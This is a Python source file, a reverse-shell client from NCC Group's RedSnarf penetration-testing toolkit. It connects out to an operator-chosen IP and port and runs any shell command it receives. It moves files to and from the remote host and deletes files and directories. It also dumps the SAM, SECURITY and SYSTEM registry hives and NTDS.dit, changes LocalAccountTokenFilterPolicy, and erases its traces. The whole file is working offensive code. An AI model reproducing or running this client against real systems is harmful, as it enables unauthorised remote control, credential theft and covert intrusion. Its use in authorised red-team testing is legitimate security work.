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snarf_client.py
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snarf_client.py
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#! /usr/bin/env python
# Released as open source by NCC Group Plc - https://www.nccgroup.trust/uk/
# https://github.com/nccgroup/redsnarf
# Released under Apache V2 see LICENCE for more information
#
# Compile with py2exe
#
from __future__ import print_function
import socket
import subprocess
import os
import shutil
try:
raw_input # Python 2
except NameError:
raw_input = input # Python 3
def banner():
print("""
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
@redsnarf
""")
print("\nE D Williams - NCCGroup")
def upload(conn, command, filename):
downloadpth = os.getcwd()
conn.send(command)
with open(downloadpth + "\\" + filename, 'wb') as f:
while True:
bits = conn.recv(4096)
if 'Unable to find out the file' in bits:
print('[-]Unable to find out the file..')
break
if bits.endswith("DONE"):
f.write(bits[0:len(bits) - 4])
print('[+]Upload complete..')
break
if not bits:
print('[+]Upload complete..')
break
f.write(bits)
def transfer(s, path):
print(path)
if os.path.exists(path):
with open(path, 'rb') as f:
packet = f.read(4096)
print("Sending")
while packet != '':
s.send(packet)
packet = f.read(4096)
s.send('DONE')
else: # the file doesn't exist
s.send('[-]Unable to find out the file')
def shell_out(command, sock):
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
sock.send(CMD.stdout.read())
sock.send(CMD.stderr.read())
def connect():
# Show banner
banner()
# Get remote ip address and port to connect to
ipaddress = raw_input("[+]Enter the Remote IP address you wish to connect to: ")
port = raw_input("[+]Enter the Remote Port you wish to connect to: ")
# Create our connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipaddress.strip(), int(port.strip())))
while True:
try:
command = s.recv(2048)
# Close our connection nice and tidily
if command == 'quit':
s.close()
print("[+]Bye Bye")
break
elif 'upload' in command:
# Get the file name from the download string and pass to transfer
# print(command)
filename = command.split('/')
# Try and transfer file
# print(filename[len(filename)-1])
upload(s, command, filename[len(filename) - 1])
# Looks like we're going to download something
elif 'download' in command:
grab, path = command.split('*')
try:
transfer(s, path)
except Exception as e:
s.send(str(e))
# Change Directory
elif 'cd ' in command:
code, directory = command.split(' ')
os.chdir(directory)
s.send("[+]CWD " + os.getcwd())
print("[+]Changing Directory")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Create a Directory
elif 'mkdir ' in command:
code, directory = command.split(' ')
os.mkdir(directory)
s.send("[+]MKDIR ")
print("[+]Making Directory")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Remove a Directory including all files
elif 'rmdir ' in command:
code, directory = command.split(' ')
shutil.rmtree(directory, ignore_errors=False, onerror=None)
s.send("[+]RMDIR ")
print("[+]Removing Directory")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Delete a file
elif 'del ' in command:
code, filename = command.split(' ')
os.remove(filename)
s.send("[+]DEL ")
print("[+]Deleting File")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Enable Local Access Token Filter
elif command == 'enable_lat':
print("[+]Enable LAT")
save = 'reg.exe add "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /D 1'
shell_out(save, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Disable Local Access Token Filter
elif command == 'disable_lat':
print("[+]Disable LAT")
save = 'reg.exe add "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /D 0'
shell_out(save, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'creds':
# Remove any existing versions
if os.path.exists("c:\sam"):
os.remove("c:\sam")
if os.path.exists("c:\system"):
os.remove("c:\system")
if os.path.exists("c:\security"):
os.remove("c:\security")
print("[+]Saving SAM/SECURITY/SYSTEM")
save = "reg.exe save HKLM\sam c:\sam && reg.exe save HKLM\security C:\security && reg.exe save HKLM\system C:\system"
shell_out(save, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'ntds_dump':
# Remove any existing versions
if os.path.exists("c:\\redsnarf"):
print("Found previous dump, removing...")
deldir = 'rmdir "c:\\redsnarf" /s /q'
shell_out(deldir, s)
print("[+]Using NTDS Util to dump NTDS.dit")
save = 'ntdsutil.exe "ac i ntds" "ifm" "create full c:\\redsnarf" q q'
shell_out(save, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'creds_cleanup':
# Remove any existing versions
if os.path.exists("c:\sam"):
os.remove("c:\sam")
if os.path.exists("c:\system"):
os.remove("c:\system")
if os.path.exists("c:\security"):
os.remove("c:\security")
print("[+]Cleaned Up SAM/SECURITY/SYSTEM")
s.send("[+]Cleaned Up SAM/SECURITY/SYSTEM on remote machine")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'privesc':
# Remove any existing versions
if os.path.exists(os.getcwd() + "\privesc.csv"):
os.remove(os.getcwd() + "\privesc.csv")
deldir = "systeminfo /FO CSV > privesc.csv"
shell_out(deldir, s)
print("[+]Generating SystemInfo")
s.send("path=" + os.getcwd() + "\privesc.csv")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'privesc_cleanup':
if os.path.exists(os.getcwd() + "\privesc.csv"):
print("Found previous privesc.csv, Cleaning up like we were never here...")
os.remove(os.getcwd() + "\privesc.csv")
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
elif command == 'ntds_cleanup':
if os.path.exists("c:\\redsnarf"):
print("Found previous dump, Cleaning up like we were never here...")
deldir = 'rmdir "c:\\redsnarf" /s /q'
shell_out(deldir, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Lock Workstation
elif command == 'lock_workstation':
lockcmd = "c:\\windows\\System32\\rundll32.exe user32.dll,LockWorkStation"
shell_out(lockcmd, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# Anything else
else:
shell_out(command, s)
# Signal End of Transfer
print("[+]ET")
s.send("[+]ET")
# When it all goes wrong!
except Exception as e:
s.send(str(e))
# Signal End of Transfer
s.send("[+]ET")
def main():
connect()
main()